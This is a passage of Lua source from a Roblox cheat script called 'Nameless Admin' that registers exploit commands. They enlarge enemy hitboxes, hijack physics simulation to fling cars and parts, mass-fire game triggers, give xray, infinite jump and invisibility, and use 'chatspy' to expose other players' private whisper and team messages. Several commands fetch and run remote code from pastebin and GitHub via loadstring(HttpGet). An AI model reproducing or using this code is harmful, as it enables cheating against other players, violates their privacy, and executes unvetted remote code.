_G.HeadSize = (...) _G.Disabled = true game:GetService('RunService').RenderStepped:connect(function() if _G.Disabled then for i,v in next, game:GetService('Players'):GetPlayers() do if v.Name ~= game:GetService('Players').LocalPlayer.Name then pcall(function() v.Character.HumanoidRootPart.Size = Vector3.new(_G.HeadSize,_G.HeadSize,_G.HeadSize) v.Character.HumanoidRootPart.Transparency = 0.7 v.Character.HumanoidRootPart.BrickColor = BrickColor.new("Really black") v.Character.HumanoidRootPart.Material = "Neon" v.Character.HumanoidRootPart.CanCollide = false end) end end end end) end) cmd.add({"unhitbox", "unhbox"}, {"unhitbox", "Disables hitbox"}, function(...) wait(); Notify({ Description = "Hitbox disabled"; Title = "Nameless Admin"; Duration = 5; }); _G.HeadSize = 0 _G.Disabled = false game:GetService('RunService').RenderStepped:connect(function() if _G.Disabled then for i,v in next, game:GetService('Players'):GetPlayers() do if v.Name ~= game:GetService('Players').LocalPlayer.Name then pcall(function() v.Character.HumanoidRootPart.Size = Vector3.new(_G.HeadSize,_G.HeadSize,_G.HeadSize) v.Character.HumanoidRootPart.Transparency = 0.7 v.Character.HumanoidRootPart.BrickColor = BrickColor.new("Really black") v.Character.HumanoidRootPart.Material = "Neon" v.Character.HumanoidRootPart.CanCollide = false end) end end end end) end) cmd.add({"breakcars", "bcars"}, {"breakcars (bcars)", "Breaks any car"}, function() wait(); Notify({ Description = "Car breaker loaded, sit on a vehicle need to be the driver"; Title = "Nameless Admin"; Duration = 5; }); local UserInputService = game:GetService("UserInputService") local Mouse = game:GetService("Players").LocalPlayer:GetMouse() local Folder = Instance.new("Folder", game:GetService("Workspace")) local Part = Instance.new("Part", Folder) local Attachment1 = Instance.new("Attachment", Part) Part.Anchored = true Part.CanCollide = false Part.Transparency = 1 local Updated = Mouse.Hit + Vector3.new(0, 5, 0) local NetworkAccess = coroutine.create(function() settings().Physics.AllowSleep = false while game:GetService("RunService").RenderStepped:Wait() do for _, Players in next, game:GetService("Players"):GetPlayers() do if Players ~= game:GetService("Players").LocalPlayer then Players.MaximumSimulationRadius = 0 sethiddenproperty(Players, "SimulationRadius", 0) end end game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge) setsimulationradius(math.huge) end end) coroutine.resume(NetworkAccess) local function ForcePart(v) if v:IsA("Part") and v.Anchored == false and v.Parent:FindFirstChild("Humanoid") == nil and v.Parent:FindFirstChild("Head") == nil and v.Name ~= "Handle" then Mouse.TargetFilter = v for _, x in next, v:GetChildren() do if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce") or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then x:Destroy() end end if v:FindFirstChild("Attachment") then v:FindFirstChild("Attachment"):Destroy() end if v:FindFirstChild("AlignPosition") then v:FindFirstChild("AlignPosition"):Destroy() end if v:FindFirstChild("Torque") then v:FindFirstChild("Torque"):Destroy() end v.CanCollide = false local Torque = Instance.new("Torque", v) Torque.Torque = Vector3.new(100000, 100000, 100000) local AlignPosition = Instance.new("AlignPosition", v) local Attachment2 = Instance.new("Attachment", v) Torque.Attachment0 = Attachment2 AlignPosition.MaxForce = 9999999999999999 AlignPosition.MaxVelocity = math.huge AlignPosition.Responsiveness = 200 AlignPosition.Attachment0 = Attachment2 AlignPosition.Attachment1 = Attachment1 end end for _, v in next, game:GetService("Workspace"):GetDescendants() do ForcePart(v) end game:GetService("Workspace").DescendantAdded:Connect(function(v) ForcePart(v) end) UserInputService.InputBegan:Connect(function(Key, Chat) if Key.KeyCode == Enum.KeyCode.E and not Chat then Updated = Mouse.Hit + Vector3.new(0, 5, 0) end end) spawn(function() while game:GetService("RunService").RenderStepped:Wait() do Attachment1.WorldCFrame = Updated end end) end) cmd.add({"firetouchinterests", "fti"}, {"firetouchinterests (fti)", "Fires every Touch Interest that's in workspace"}, function() local ftiamount = 0 for _,v in pairs(workspace:GetDescendants()) do if v:IsA("TouchTransmitter") then ftiamount = ftiamount + 1 firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 0) --0 is touch wait() firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 1) -- 1 is untouch end end wait(); Notify({ Description = "Fired " .. ftiamount .. " amount of touch interests"; Title = "Nameless Admin"; Duration = 7; }); end) cmd.add({"infjump", "infinitejump"}, {"infjump (infinitejump)", "Makes you be able to jump infinitly"}, function() wait(); Notify({ Description = "Infinite jump enabled"; Title = "Nameless Admin"; Duration = 5; }); _G.infinjump = true local Player = game:GetService("Players").LocalPlayer local Mouse = Player:GetMouse() Mouse.KeyDown:connect(function(k) if _G.infinjump then if k:byte() == 32 then Humanoid = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid") Humanoid:ChangeState("Jumping") wait(0.1) Humanoid:ChangeState("Seated") end end end) end) cmd.add({"uninfjump", "uninfinitejump"}, {"uninfjump (uninfinitejump)", "Makes you NOT be able to infinitly jump"}, function() wait(); Notify({ Description = "Infinite jump disabled"; Title = "Nameless Admin"; Duration = 5; }); _G.infinjump = false local Player = game:GetService("Players").LocalPlayer local Mouse = Player:GetMouse() Mouse.KeyDown:connect(function(k) if _G.infinjump then if k:byte() == 32 then Humanoid = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid") Humanoid:ChangeState("Jumping") wait(0.1) Humanoid:ChangeState("Seated") end end end) end) cmd.add({"xray", "xrayon"}, {"xray (xrayon)", "Makes you be able to see through walls"}, function() wait(); Notify({ Description = "Xray enabled"; Title = "Nameless Admin"; Duration = 5; }); transparent = true x(transparent) end) cmd.add({"unxray", "xrayoff"}, {"unxray (xrayoff)", "Makes you not be able to see through walls"}, function() wait(); Notify({ Description = "Xray disabled"; Title = "Nameless Admin"; Duration = 5; }); transparent = false x(transparent) end) cmd.add({"pastebinscraper", "pastebinscrape"}, {"pastebinscraper (pastebinscrape)", "Scrapes paste bin posts"}, function() wait(); Notify({ Description = "Pastebin scraper loaded"; Title = "Nameless Admin"; Duration = 5; }); loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/PastebinScraperScript"))() game:GetService("CoreGui").Scraper["Pastebin Scraper"].BackgroundTransparency = 0.5 game:GetService("CoreGui").Scraper["Pastebin Scraper"].TextButton.Text = " ⭐ Pastebin Post Scraper ⭐" game:GetService("CoreGui").Scraper["Pastebin Scraper"].Content.Search.PlaceholderText = "Search for a post here..." game:GetService("CoreGui").Scraper["Pastebin Scraper"].Content.Search.BackgroundTransparency = 0.4 end) cmd.add({"amongus", "amogus"}, {"amongus (amogus)", "among us in real life, sus sus."}, function() wait(); Notify({ Description = "Amog us..."; Title = "Nameless Admin"; Duration = 5; }); loadstring(game:HttpGet(('https://pastefy.ga/aMY1wxRS/raw'),true))() end) cmd.add({"blackhole"}, {"blackhole", "Makes unanchored parts teleport to the black hole"}, function() local UserInputService = game:GetService("UserInputService") local Mouse = game:GetService("Players").LocalPlayer:GetMouse() local Folder = Instance.new("Folder", game:GetService("Workspace")) local Part = Instance.new("Part", Folder) local Attachment1 = Instance.new("Attachment", Part) Part.Anchored = true Part.CanCollide = false Part.Transparency = 1 local Updated = Mouse.Hit + Vector3.new(0, 5, 0) local NetworkAccess = coroutine.create(function() settings().Physics.AllowSleep = false while game:GetService("RunService").RenderStepped:Wait() do for _, Players in next, game:GetService("Players"):GetPlayers() do if Players ~= game:GetService("Players").LocalPlayer then Players.MaximumSimulationRadius = 0 sethiddenproperty(Players, "SimulationRadius", 0) end end game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge) end end) coroutine.resume(NetworkAccess) local function ForcePart(v) if v:IsA("Part") and v.Anchored == false and v.Parent:FindFirstChild("Humanoid") == nil and v.Parent:FindFirstChild("Head") == nil and v.Name ~= "Handle" then Mouse.TargetFilter = v for _, x in next, v:GetChildren() do if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce") or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then x:Destroy() end end if v:FindFirstChild("Attachment") then v:FindFirstChild("Attachment"):Destroy() end if v:FindFirstChild("AlignPosition") then v:FindFirstChild("AlignPosition"):Destroy() end if v:FindFirstChild("Torque") then v:FindFirstChild("Torque"):Destroy() end v.CanCollide = false local Torque = Instance.new("Torque", v) Torque.Torque = Vector3.new(100000, 100000, 100000) local AlignPosition = Instance.new("AlignPosition", v) local Attachment2 = Instance.new("Attachment", v) Torque.Attachment0 = Attachment2 AlignPosition.MaxForce = 9999999999999999 AlignPosition.MaxVelocity = math.huge AlignPosition.Responsiveness = 200 AlignPosition.Attachment0 = Attachment2 AlignPosition.Attachment1 = Attachment1 end end for _, v in next, game:GetService("Workspace"):GetDescendants() do ForcePart(v) end game:GetService("Workspace").DescendantAdded:Connect(function(v) ForcePart(v) end) UserInputService.InputBegan:Connect(function(Key, Chat) if Key.KeyCode == Enum.KeyCode.E and not Chat then Updated = Mouse.Hit + Vector3.new(0, 5, 0) end end) spawn(function() while game:GetService("RunService").RenderStepped:Wait() do Attachment1.WorldCFrame = Updated end end) wait(); Notify({ Description = "Blackhole has been loaded, press e to change the position to where your mouse is"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"fullbright", "fullb"}, {"fullbright (fullb)", "Makes games that are really dark to have no darkness and be really light"}, function() if not _G.FullBrightExecuted then _G.FullBrightEnabled = false _G.NormalLightingSettings = { Brightness = game:GetService("Lighting").Brightness, ClockTime = game:GetService("Lighting").ClockTime, FogEnd = game:GetService("Lighting").FogEnd, GlobalShadows = game:GetService("Lighting").GlobalShadows, Ambient = game:GetService("Lighting").Ambient } game:GetService("Lighting"):GetPropertyChangedSignal("Brightness"):Connect(function() if game:GetService("Lighting").Brightness ~= 1 and game:GetService("Lighting").Brightness ~= _G.NormalLightingSettings.Brightness then _G.NormalLightingSettings.Brightness = game:GetService("Lighting").Brightness if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").Brightness = 1 end end) game:GetService("Lighting"):GetPropertyChangedSignal("ClockTime"):Connect(function() if game:GetService("Lighting").ClockTime ~= 12 and game:GetService("Lighting").ClockTime ~= _G.NormalLightingSettings.ClockTime then _G.NormalLightingSettings.ClockTime = game:GetService("Lighting").ClockTime if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").ClockTime = 12 end end) game:GetService("Lighting"):GetPropertyChangedSignal("FogEnd"):Connect(function() if game:GetService("Lighting").FogEnd ~= 786543 and game:GetService("Lighting").FogEnd ~= _G.NormalLightingSettings.FogEnd then _G.NormalLightingSettings.FogEnd = game:GetService("Lighting").FogEnd if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").FogEnd = 786543 end end) game:GetService("Lighting"):GetPropertyChangedSignal("GlobalShadows"):Connect(function() if game:GetService("Lighting").GlobalShadows ~= false and game:GetService("Lighting").GlobalShadows ~= _G.NormalLightingSettings.GlobalShadows then _G.NormalLightingSettings.GlobalShadows = game:GetService("Lighting").GlobalShadows if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").GlobalShadows = false end end) game:GetService("Lighting"):GetPropertyChangedSignal("Ambient"):Connect(function() if game:GetService("Lighting").Ambient ~= Color3.fromRGB(178, 178, 178) and game:GetService("Lighting").Ambient ~= _G.NormalLightingSettings.Ambient then _G.NormalLightingSettings.Ambient = game:GetService("Lighting").Ambient if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").Ambient = Color3.fromRGB(178, 178, 178) end end) game:GetService("Lighting").Brightness = 1 game:GetService("Lighting").ClockTime = 12 game:GetService("Lighting").FogEnd = 786543 game:GetService("Lighting").GlobalShadows = false game:GetService("Lighting").Ambient = Color3.fromRGB(178, 178, 178) local LatestValue = true spawn(function() repeat wait() until _G.FullBrightEnabled while wait() do if _G.FullBrightEnabled ~= LatestValue then if not _G.FullBrightEnabled then game:GetService("Lighting").Brightness = _G.NormalLightingSettings.Brightness game:GetService("Lighting").ClockTime = _G.NormalLightingSettings.ClockTime game:GetService("Lighting").FogEnd = _G.NormalLightingSettings.FogEnd game:GetService("Lighting").GlobalShadows = _G.NormalLightingSettings.GlobalShadows game:GetService("Lighting").Ambient = _G.NormalLightingSettings.Ambient else game:GetService("Lighting").Brightness = 1 game:GetService("Lighting").ClockTime = 12 game:GetService("Lighting").FogEnd = 786543 game:GetService("Lighting").GlobalShadows = false game:GetService("Lighting").Ambient = Color3.fromRGB(178, 178, 178) end LatestValue = not LatestValue end end end) end _G.FullBrightExecuted = true _G.FullBrightEnabled = not _G.FullBrightEnabled end) cmd.add({"givehat", "givehatui"}, {"givehat (givehatui)", "Executes a hat giver gui check in console for hat names"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/NamelessAdmin/main/GiveHat"))() end) cmd.add({"fireproximityprompts", "fpp"}, {"fireproximityprompts (fpp)", "Fires every Touch Interest that's in workspace"}, function() fppamount = 0 for i,v in pairs(game.Workspace:GetDescendants()) do if v:IsA("Part") and v.Name == "BanditClick" then fppamount = fppamount + 1 fireproximityprompt(v.Proximity) end end wait(); Notify({ Description = "Fired " .. fppamount .. " of proximity prompts"; Title = "Nameless Admin"; Duration = 7; }); end) cmd.add({"iy", "i"}, {"iy {command} (i)", "Executes infinite yield scripts"}, function(...) if IYLOADED == false then local function copytable(tbl) local copy = {} for i,v in pairs(tbl) do copy[i] = v end return copy end local sandbox_env = copytable(getfenv()) setmetatable(sandbox_env, { __index = function(self, i) if rawget(sandbox_env, i) then return rawget(sandbox_env, i) elseif getfenv()[i] then return getfenv()[i] end end }) sandbox_env.game = nil iy, _ = game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"):gsub("local Main", "Main"):gsub("Players.LocalPlayer.Chatted","Funny = Players.LocalPlayer.Chatted"):gsub("local lastMessage","notify = _G.notify\nlocal lastMessage") setfenv(loadstring(iy),sandbox_env)() iy_cmds_table = sandbox_env.CMDs iy_gui = sandbox_env.Main iy_chathandler = sandbox_env.Funny execCmd = sandbox_env.execCmd iy_gui:Destroy() pcall(function() iy_chathandler:Disconnect() end) IYLOADED = true end execCmd((...)) end) cmd.add({"chatspy"}, {"chatspy", "Spies on chat, enables chat, spies whispers etc."}, function() wait(); Notify({ Description = "Chat spy enabled"; Title = "Nameless Admin"; Duration = 5; }); --This script reveals ALL hidden messages in the default chat --chat "/spy" to toggle! enabled = true --if true will check your messages too spyOnMyself = true --if true will chat the logs publicly (fun, risky) public = false --if true will use /me to stand out publicItalics = true --customize private logs privateProperties = { Color = Color3.fromRGB(0,255,255); Font = Enum.Font.SourceSansBold; TextSize = 18; } --//////////////////////////////////////////////////////////////// local StarterGui = game:GetService("StarterGui") local Players = game:GetService("Players") local player = Players.LocalPlayer local saymsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest") local getmsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("OnMessageDoneFiltering") local instance = (_G.chatSpyInstance or 0) + 1 _G.chatSpyInstance = instance local function onChatted(p,msg) if _G.chatSpyInstance == instance then if p==player and msg:lower():sub(1,4)=="/spy" then enabled = not enabled wait(0.3) print("XD") StarterGui:SetCore("ChatMakeSystemMessage",privateProperties) elseif enabled and (spyOnMyself==true or p~=player) then msg = msg:gsub("[\n\r]",''):gsub("\t",' '):gsub("[ ]+",' ') local hidden = true local conn = getmsg.OnClientEvent:Connect(function(packet,channel) if packet.SpeakerUserId==p.UserId and packet.Message==msg:sub(#msg-#packet.Message+1) and (channel=="All" or (channel=="Team" and public==false and Players[packet.FromSpeaker].Team==player.Team)) then hidden = false end end) wait(1) conn:Disconnect() if hidden and enabled then if public then saymsg:FireServer((publicItalics and "/me " or '').."{SPY} [".. p.Name .."]: "..msg,"All") else privateProperties.Text = "{SPY} [".. p.Name .."]: "..msg StarterGui:SetCore("ChatMakeSystemMessage",privateProperties) end end end end end for _,p in ipairs(Players:GetPlayers()) do p.Chatted:Connect(function(msg) onChatted(p,msg) end) end Players.PlayerAdded:Connect(function(p) p.Chatted:Connect(function(msg) onChatted(p,msg) end) end) print("XD") StarterGui:SetCore("ChatMakeSystemMessage",privateProperties) local chatFrame = player.PlayerGui.Chat.Frame chatFrame.ChatChannelParentFrame.Visible = true chatFrame.ChatBarParentFrame.Position = chatFrame.ChatChannelParentFrame.Position+UDim2.new(UDim.new(),chatFrame.ChatChannelParentFrame.Size.Y) end) cmd.add({"bhop"}, {"bhop", "bhop bhop bhop bhop bhop bhop bhop bla bla bla idk what im saying"}, function() local player local character local collider local camera local input local collider local playerGrounded local playerVelocity local jumping local moveInputSum local dt = 1/60 local partYRatio local partZRatio local cameraYaw local cameraLook local movementPosition local movementVelocity local gravityForce local airAccelerate local airMaxSpeed local groundAccelerate local groundMaxVelocity local friction local playerTorsoToGround local movementStickDistance local jumpVelocity local movementPositionForce local movementVelocityForce local maxMovementPitch local rayYLength local movementPositionD local movementPositionP local movementVelocityP local gravity function init(Player, Camera, Input) player = Player character = player.Character collider = character.HumanoidRootPart camera = Camera input = Input playerVelocity = 0 playerGrounded = false moveInputSum = { ["forward"] = 0, ["side"] = 0 --left is positive } airAccelerate = 10000 airMaxSpeed = 2.4 groundAccelerate = 250 groundMaxVelocity = 20 friction = 10 playerTorsoToGround = 3 movementStickDistance = 0.5 jumpVelocity = 52.5 movementPositionForce = 400000 movementVelocityForce = 300000 maxMovementPitch = 0.6 rayYLength = playerTorsoToGround + movementStickDistance movementPositionD = 125 movementPositionP = 14000 movementVelocityP = 1500 gravity = 0.4 end function initBodyMovers() movementPosition = Instance.new("BodyPosition", collider) movementPosition.Name = "movementPosition" movementPosition.D = movementPositionD movementPosition.P = movementPositionP movementPosition.maxForce = Vector3.new() movementPosition.position = Vector3.new() movementVelocity = Instance.new("BodyVelocity", collider) movementVelocity.Name = "movementVelocity" movementVelocity.P = movementVelocityP movementVelocity.maxForce = Vector3.new() movementVelocity.velocity = Vector3.new() gravityForce = Instance.new("BodyForce", collider) gravityForce.Name = "gravityForce" gravityForce.force = Vector3.new(0, (1-gravity)*196.2, 0) * getCharacterMass() end function update(deltaTime) dt = deltaTime updateMoveInputSum() cameraYaw = getYaw() cameraLook = cameraYaw.lookVector if cameraLook == nil then return end local hitPart, hitPosition, hitNormal, yRatio, zRatio = findCollisionRay() partYRatio = yRatio partZRatio = zRatio playerGrounded = hitPart ~= nil and true or false playerVelocity = collider.Velocity - Vector3.new(0, collider.Velocity.y, 0) if playerGrounded and (input["Space"] or jumping) then jumping = true else jumping = false end setCharacterRotation() if jumping then jump() elseif playerGrounded then run(hitPosition) else air() end end function updateMoveInputSum() moveInputSum["forward"] = input["W"] == true and 1 or 0 moveInputSum["forward"] = input["S"] == true and moveInputSum["forward"] - 1 or moveInputSum["forward"] moveInputSum["side"] = input["A"] == true and 1 or 0 moveInputSum["side"] = input["D"] == true and moveInputSum["side"] - 1 or moveInputSum["side"] end function findCollisionRay() local torsoCFrame = character.HumanoidRootPart.CFrame local ignoreList = {character, camera} local rays = { Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -rayYLength, 0)), Ray.new((torsoCFrame * CFrame.new(-0.8,0,0)).p, Vector3.new(0, -rayYLength, 0)), Ray.new((torsoCFrame * CFrame.new(0.8,0,0)).p, Vector3.new(0, -rayYLength, 0)), Ray.new((torsoCFrame * CFrame.new(0,0,0.8)).p, Vector3.new(0, -rayYLength, 0)), Ray.new((torsoCFrame * CFrame.new(0,0,-0.8)).p, Vector3.new(0, -rayYLength, 0)) } local rayReturns = {} local i for i = 1, #rays do local part, position, normal = game.Workspace:FindPartOnRayWithIgnoreList(rays[i],ignoreList) if part == nil then position = Vector3.new(0,-3000000,0) end if i == 1 then table.insert(rayReturns, {part, position, normal}) else local yPos = position.y if yPos <= rayReturns[#rayReturns][2].y then table.insert(rayReturns, {part, position, normal}) else local j for j = 1, #rayReturns do if yPos >= rayReturns[j][2].y then table.insert(rayReturns, j, {part, position, normal}) end end end end end i = 1 local yRatio, zRatio = getPartYRatio(rayReturns[i][3]) while magnitude2D(yRatio, zRatio) > maxMovementPitch and i<#rayReturns do i = i + 1 if rayReturns[i][1] then yRatio, zRatio = getPartYRatio(rayReturns[i][3]) end end return rayReturns[i][1], rayReturns[i][2], rayReturns[i][3], yRatio, zRatio end function setCharacterRotation() local rotationLook = collider.Position + camera.CoordinateFrame.lookVector collider.CFrame = CFrame.new(collider.Position, Vector3.new(rotationLook.x, collider.Position.y, rotationLook.z)) collider.RotVelocity = Vector3.new() end function jump() collider.Velocity = Vector3.new(collider.Velocity.x, jumpVelocity, collider.Velocity.z) air() end function air() movementPosition.maxForce = Vector3.new() movementVelocity.velocity = getMovementVelocity(collider.Velocity, airAccelerate, airMaxSpeed) movementVelocity.maxForce = getMovementVelocityAirForce() end function run(hitPosition) local playerSpeed = collider.Velocity.magnitude local mVelocity = collider.Velocity if playerSpeed ~= 0 then local drop = playerSpeed * friction * dt; mVelocity = mVelocity * math.max(playerSpeed - drop, 0) / playerSpeed; end movementPosition.position = hitPosition + Vector3.new(0,playerTorsoToGround,0) movementPosition.maxForce = Vector3.new(0,movementPositionForce,0) movementVelocity.velocity = getMovementVelocity(mVelocity, groundAccelerate, groundMaxVelocity) local VelocityForce = getMovementVelocityForce() movementVelocity.maxForce = VelocityForce movementVelocity.P = movementVelocityP end function getMovementVelocity(prevVelocity, accelerate, maxVelocity) local accelForward = cameraLook * moveInputSum["forward"] local accelSide = (cameraYaw * CFrame.Angles(0,math.rad(90),0)).lookVector * moveInputSum["side"]; local accelDir = (accelForward+accelSide).unit; if moveInputSum["forward"] == 0 and moveInputSum["side"] == 0 then --avoids divide 0 errors accelDir = Vector3.new(0,0,0); end local projVel = prevVelocity:Dot(accelDir); local accelVel = accelerate * dt; if (projVel + accelVel > maxVelocity) then accelVel = math.max(maxVelocity - projVel, 0); end return prevVelocity + accelDir * accelVel; end function getMovementVelocityForce() return Vector3.new(movementVelocityForce,0,movementVelocityForce) end function getMovementVelocityAirForce() local accelForward = cameraLook * moveInputSum["forward"]; local accelSide = (cameraYaw * CFrame.Angles(0,math.rad(90),0)).lookVector * moveInputSum["side"] local accelDir = (accelForward+accelSide).unit if moveInputSum["forward"] == 0 and moveInputSum["side"] == 0 then accelDir = Vector3.new(0,0,0); end local xp = math.abs(accelDir.x) local zp = math.abs(accelDir.z) return Vector3.new(movementVelocityForce*xp,0,movementVelocityForce*zp) end function getPartYRatio(normal) local partYawVector = Vector3.new(-normal.x, 0, -normal.z) if partYawVector.magnitude == 0 then return 0,0 else local partPitch = math.atan2(partYawVector.magnitude,normal.y)/(math.pi/2) local vector = Vector3.new(cameraLook.x, 0, cameraLook.z)*partPitch return vector:Dot(partYawVector), -partYawVector:Cross(vector).y end end function getYaw() --returns CFrame return camera.CoordinateFrame*CFrame.Angles(-getPitch(),0,0) end function getPitch() --returns number return math.pi/2 - math.acos(camera.CoordinateFrame.lookVector:Dot(Vector3.new(0,1,0))) end function getCharacterMass() return character.HumanoidRootPart:GetMass() + character.Head:GetMass() end function magnitude2D(x,z) return math.sqrt(x*x+z*z) end local inputKeys = { ["W"] = false, ["S"] = false, ["A"] = false, ["D"] = false, ["Space"] = false, ["LMB"] = false, ["RMB"] = false } local plr = game:GetService("Players").LocalPlayer local camera = workspace.CurrentCamera local UserInputService = game:GetService("UserInputService") function onInput(input, gameProcessedEvent) local inputState --print(input.KeyCode) if input.UserInputState == Enum.UserInputState.Begin then inputState = true elseif input.UserInputState == Enum.UserInputState.End then inputState = false else return end if input.UserInputType == Enum.UserInputType.Keyboard then local key = input.KeyCode.Name if inputKeys[key] ~= nil then inputKeys[key] = inputState end elseif input.UserInputType == Enum.UserInputType.MouseButton1 then --LMB down inputKeys.LMB = inputState elseif input.UserInputType == Enum.UserInputType.MouseButton2 then --RMB down inputKeys.RMB = inputState end end function main() local a = plr.Character:FindFirstChildOfClass("Humanoid") or plr.Character:WaitForChild("Humanoid"); a.PlatformStand = true --init movement init(plr, camera, inputKeys); initBodyMovers(); --connect input UserInputService.InputBegan:connect(onInput); UserInputService.InputEnded:connect(onInput); --connect updateloop game:GetService("RunService"):BindToRenderStep("updateLoop", 1, updateLoop); --rip end local prevUpdateTime = nil local updateDT = 1/60 function setDeltaTime() --seconds local UpdateTime = tick() if prevUpdateTime ~= nil then updateDT = (UpdateTime - prevUpdateTime) else updateDT = 1/60 end prevUpdateTime = UpdateTime end function updateLoop() setDeltaTime(); update(updateDT); end main() local char = game.Players.LocalPlayer.Character local con con = char.Humanoid.Died:Connect(function() print("Died") game.Players.LocalPlayer.Character:WaitForChild("Humanoid").PlatformStand = false collider:Disconnect() character:Disconnect() moveInputSum:Disconnect() playerGrounded:Disconnect() playerVelocity:Disconnect() jumping:Disconnect() moveInputSum:Disconnect() partYRatio:Disconnect() partZRatio:Disconnect() cameraYaw:Disconnect() cameraLook:Disconnect() movementPosition:Disconnect() movementVelocity:Disconnect() gravityForce:Disconnect() airAccelerate:Disconnect() groundAccelerate:Disconnect() groundMaxVelocity:Disconnect() friction:Disconnect() playerTorsoToGround:Disconnect() movementStickDistance:Disconnect() jumpVelocity:Disconnect() movementPositionForce:Disconnect() movementVelocityForce:Disconnect() maxMovementPitch:Disconnect() rayYLength:Disconnect() movementPositionD:Disconnect() movementPositionP:Disconnect() movementVelocityP:Disconnect() gravity:Disconnect() con:Disconnect() lib.disconnect("bhop") end) end) cmd.add({"2016anims"}, {"2016anims", "2016 animations"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/2016anims"))() end) cmd.add({"oganims"}, {"oganims", "Old animations from 2007"}, function() wait(); Notify({ Description = "OG animations set"; Title = "Nameless Admin"; Duration = 5; }); loadstring(game:HttpGet(('https://pastebin.com/raw/6GNkQUu6'),true))() end) cmd.add({"fakechat"}, {"fakechat", "Fake a chat gui"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/fakechat"))() end) cmd.add({"fpscap"}, {"fpscap ", "Sets the fps cap to whatever you want"}, function(...) setfpscap(...) end) cmd.add({"holdhat"}, {"holdhat", "Can make you hold your hats execute the command and you will have them in your inventory"}, function(...) --made by Nightmare#0930 local lp = game.Players.LocalPlayer local char = lp.Character for i, v in pairs(char:GetChildren()) do if v:IsA("BallSocketConstraint") then v:Destroy() end end for i, v in pairs(char:GetChildren()) do if v:IsA("HingeConstraint") then v:Destroy() end end for i, v in pairs(char.Humanoid:GetAccessories()) do local hat = v.Name char[hat].Archivable = true local fake = char[hat]:Clone() fake.Parent = char fake.Handle.Transparency = 1 local hold = false local enabled = false char[hat].Handle.AccessoryWeld:Destroy() local tool = Instance.new("Tool", lp.Backpack) tool.RequiresHandle = true tool.CanBeDropped = false tool.Name = hat local handle = Instance.new("Part", tool) handle.Name = "Handle" handle.Size = Vector3.new(1, 1, 1) handle.Massless = true handle.Transparency = 1 local positions = { forward = tool.GripForward, pos = tool.GripPos, right = tool.GripRight, up = tool.GripUp } tool.Equipped:connect(function() hold = true end) tool.Unequipped:connect(function() hold = false end) tool.Activated:connect(function() if enabled == false then enabled = true tool.GripForward = Vector3.new(-0.976,0,-0.217) tool.GripPos = Vector3.new(.95,-0.76,1.4) tool.GripRight = Vector3.new(0.217,0, 0.976) tool.GripUp = Vector3.new(0,1,0) wait(.8) tool.GripForward = positions.forward tool.GripPos = positions.pos tool.GripRight = positions.right tool.GripUp = positions.up enabled = false end end) game:GetService("RunService").Heartbeat:connect(function() pcall(function() char[hat].Handle.Velocity = Vector3.new(30, 0, 0) if hold == false then char[hat].Handle.CFrame = fake.Handle.CFrame elseif hold == true then char[hat].Handle.CFrame = handle.CFrame end end) end) end end) cmd.add({"invisible"}, {"invisible", "Sets invisibility to scare people or something"}, function() --[[Invisibility Toggle You can find the orginal concept here: https://v3rmillion.net/showthread.php?tid=544634 This method clones the character locally, teleports the real character to a safe location, then sets the character to the clone. Basically, your real character is in the sky while you are on the ground. Because of the way this works, games with a decent anti-cheat will fuck this up. If you turn it off, you have to go to a safe place before going invisible. Written by: BitingTheDust ; https://v3rmillion.net/member.php?action=profile&uid=1628149 ]] --Settings: local ScriptStarted = false local Keybind = "E" --Set to whatever you want, has to be the name of a KeyCode Enum. local Transparency = true --Will make you slightly transparent when you are invisible. No reason to disable. local NoClip = false --Will make your fake character no clip. local Player = game:GetService("Players").LocalPlayer local RealCharacter = Player.Character or player.CharacterAdded:wait(1) local IsInvisible = false RealCharacter.Archivable = true local FakeCharacter = RealCharacter:Clone() local Part Part = Instance.new("Part", workspace) Part.Anchored = true Part.Size = Vector3.new(200, 1, 200) Part.CFrame = CFrame.new(9999, 9999, 9999) --Set this to whatever you want, just far away from the map. Part.CanCollide = true FakeCharacter.Parent = workspace FakeCharacter.HumanoidRootPart.CFrame = Part.CFrame * CFrame.new(0, 5, 0) for i, v in pairs(RealCharacter:GetChildren()) do if v:IsA("LocalScript") then local clone = v:Clone() clone.Disabled = true clone.Parent = FakeCharacter end end if Transparency then for i, v in pairs(FakeCharacter:GetDescendants()) do if v:IsA("BasePart") then v.Transparency = 0.7 end end end local CanInvis = true function RealCharacterDied() CanInvis = false RealCharacter:Destroy() RealCharacter = Player.Character CanInvis = true isinvisible = false FakeCharacter:Destroy() workspace.CurrentCamera.CameraSubject = RealCharacter.Humanoid RealCharacter.Archivable = true FakeCharacter = RealCharacter:Clone() Part:Destroy() Part = Instance.new("Part", workspace) 